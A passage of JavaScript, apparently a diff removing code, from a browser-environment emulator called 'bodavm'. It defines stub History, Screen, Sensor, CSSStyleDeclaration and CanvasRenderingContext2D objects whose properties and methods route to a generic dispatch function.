value:function pushState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "pushState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('History', "replaceState", {configurable:true, enumerable:true, writable:true, value:function replaceState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "replaceState", arguments)}},'prototype'); -// history对象 -bodavm.memory.globalobj['history'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['history'].__proto__=bodavm.memory.globalobj['History'].prototype; - -// Screen对象 -bodavm.memory.globalobj['Screen'] = function Screen(){if (!(this instanceof Screen)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Screen'], "Screen"); -bodavm.memory.globalobj['Screen'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Screen'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Screen', "availWidth", {configurable:true, enumerable:true, get:function availWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "availHeight", {configurable:true, enumerable:true, get:function availHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "colorDepth", {configurable:true, enumerable:true, get:function colorDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "colorDepth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "pixelDepth", {configurable:true, enumerable:true, get:function pixelDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "pixelDepth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "availLeft", {configurable:true, enumerable:true, get:function availLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "availTop", {configurable:true, enumerable:true, get:function availTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "orientation", {configurable:true, enumerable:true, get:function orientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "orientation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "isExtended", {configurable:true, enumerable:true, get:function isExtended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "isExtended_get", arguments)}, set:undefined},'prototype'); -// screen对象 -bodavm.memory.globalobj['screen'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['screen'].__proto__=bodavm.memory.globalobj['Screen'].prototype; - -// Sensor对象 -bodavm.memory.globalobj['Sensor'] = function Sensor(){if (!(this instanceof Sensor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sensor'], "Sensor"); -bodavm.memory.globalobj['Sensor'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Sensor'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Sensor', "activated", {configurable:true, enumerable:true, get:function activated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "activated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "hasReading", {configurable:true, enumerable:true, get:function hasReading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "hasReading_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "onreading", {configurable:true, enumerable:true, get:function onreading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_get", arguments)}, set:function onreading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onreading_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "onactivate", {configurable:true, enumerable:true, get:function onactivate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_get", arguments)}, set:function onactivate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "onactivate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Sensor', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sensor'].prototype, "Sensor", "stop", arguments)}},'prototype'); - -// CSSStyleDeclaration对象 -bodavm.memory.globalobj['CSSStyleDeclaration'] = function CSSStyleDeclaration(){if (!(this instanceof CSSStyleDeclaration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleDeclaration'], "CSSStyleDeclaration"); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssText", {configurable:true, enumerable:true, get:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_get", arguments)}, set:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "parentRule", {configurable:true, enumerable:true, get:function parentRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "parentRule_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssFloat", {configurable:true, enumerable:true, get:function cssFloat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_get", arguments)}, set:function cssFloat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyPriority", {configurable:true, enumerable:true, writable:true, value:function getPropertyPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyPriority", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyValue", {configurable:true, enumerable:true, writable:true, value:function getPropertyValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "removeProperty", {configurable:true, enumerable:true, writable:true, value:function removeProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "removeProperty", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "setProperty", {configurable:true, enumerable:true, writable:true, value:function setProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "setProperty", arguments)}},'prototype'); - -// CanvasRenderingContext2D对象 -bodavm.memory.globalobj['CanvasRenderingContext2D'] = function CanvasRenderingContext2D(){if (!(this instanceof CanvasRenderingContext2D)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasRenderingContext2D'], "CanvasRenderingContext2D"); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalAlpha", {configurable:true, enumerable:true, get:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_get", arguments)}, set:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalCompositeOperation", {configurable:true, enumerable:true, get:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_get", arguments)}, set:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_get", arguments)}, set:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingEnabled", {configurable:true, enumerable:true, get:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments)}, set:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingQuality", {configurable:true, enumerable:true, get:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_get", arguments)}, set:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeStyle", {configurable:true, enumerable:true, get:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_get", arguments)}, set:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillStyle", {configurable:true, enumerable:true, get:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_get", arguments)}, set:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetX", {configurable:true, enumerable:true, get:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_get", arguments)}, set:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetY", {configurable:true, enumerable:true, get:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_get", arguments)}, set:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowBlur", {configurable:true, enumerable:true, get:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_get", arguments)}, set:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowColor", {configurable:true, enumerable:true, get:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_get", arguments)}, set:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineWidth", {configurable:true, enumerable:true, get:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_get", arguments)}, set:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineCap", {configurable:true, enumerable:true, get:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_get", arguments)}, set:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineJoin", {configurable:true, enumerable:true, get:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_get", arguments)}, set:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "miterLimit", {configurable:true, enumerable:true, get:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_get", arguments)}, set:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineDashOffset", {configurable:true, enumerable:true, get:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_get", arguments)}, set:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "font", {configurable:true, enumerable:true, get:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_get", arguments)}, set:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textAlign", {configurable:true, enumerable:true, get:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_get", arguments)}, set:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textBaseline", {configurable:true, enumerable:true, get:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_get", arguments)}, set:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontKerning", {configurable:true, enumerable:true, get:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_get", arguments)}, set:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontStretch", {configurable:true, enumerable:true, get:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_get", arguments)}, set:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontVariantCaps", {configurable:true, enumerable:true, get:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_get", arguments)}, set:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "letterSpacing", {configurable:true, enumerable:true, get:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_get", arguments)}, set:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textRendering", {configurable:true, enumerable:true, get:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_get", arguments)}, set:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "wordSpacing", {configurable:true, enumerable:true, get:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_get", arguments)}, set:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clip", {configurable:true, enumerable:true, writable:true, value:function clip (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clip", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createConicGradient", {configurable:true, enumerable:true, writable:true, value:function createConicGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createConicGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createImageData", {configurable:true, enumerable:true, writable:true, value:function createImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createLinearGradient", {configurable:true, enumerable:true, writable:true, value:function createLinearGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createLinearGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createPattern", {configurable:true, enumerable:true, writable:true, value:function createPattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createPattern", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createRadialGradient", {configurable:true, enumerable:true, writable:true, value:function createRadialGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createRadialGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawFocusIfNeeded", {configurable:true, enumerable:true, writable:true, value:function drawFocusIfNeeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawFocusIfNeeded", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawImage", {configurable:true, enumerable:true, writable:true, value:function drawImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawImage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fill", {configurable:true, enumerable:true, writable:true, value:function fill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fill", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillText", {configurable:true, enumerable:true, writable:true, value:function fillText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getContextAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getImageData", {configurable:true, enumerable:true, writable:true, value:function getImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getLineDash", {configurable:true, enumerable:true, writable:true, value:function getLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getTransform", {configurable:true, enumerable:true, writable:true, value:function getTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInPath", {configurable:true, enumerable:true, writable:true, value:function isPointInPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInStroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "measureText", {configurable:true, enumerable:true, writable:true, value:function measureText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "measureText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "putImageData", {configurable:true, enumerable:true, writable:true, value:function putImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "putImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "roundRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "save", {configurable:true, 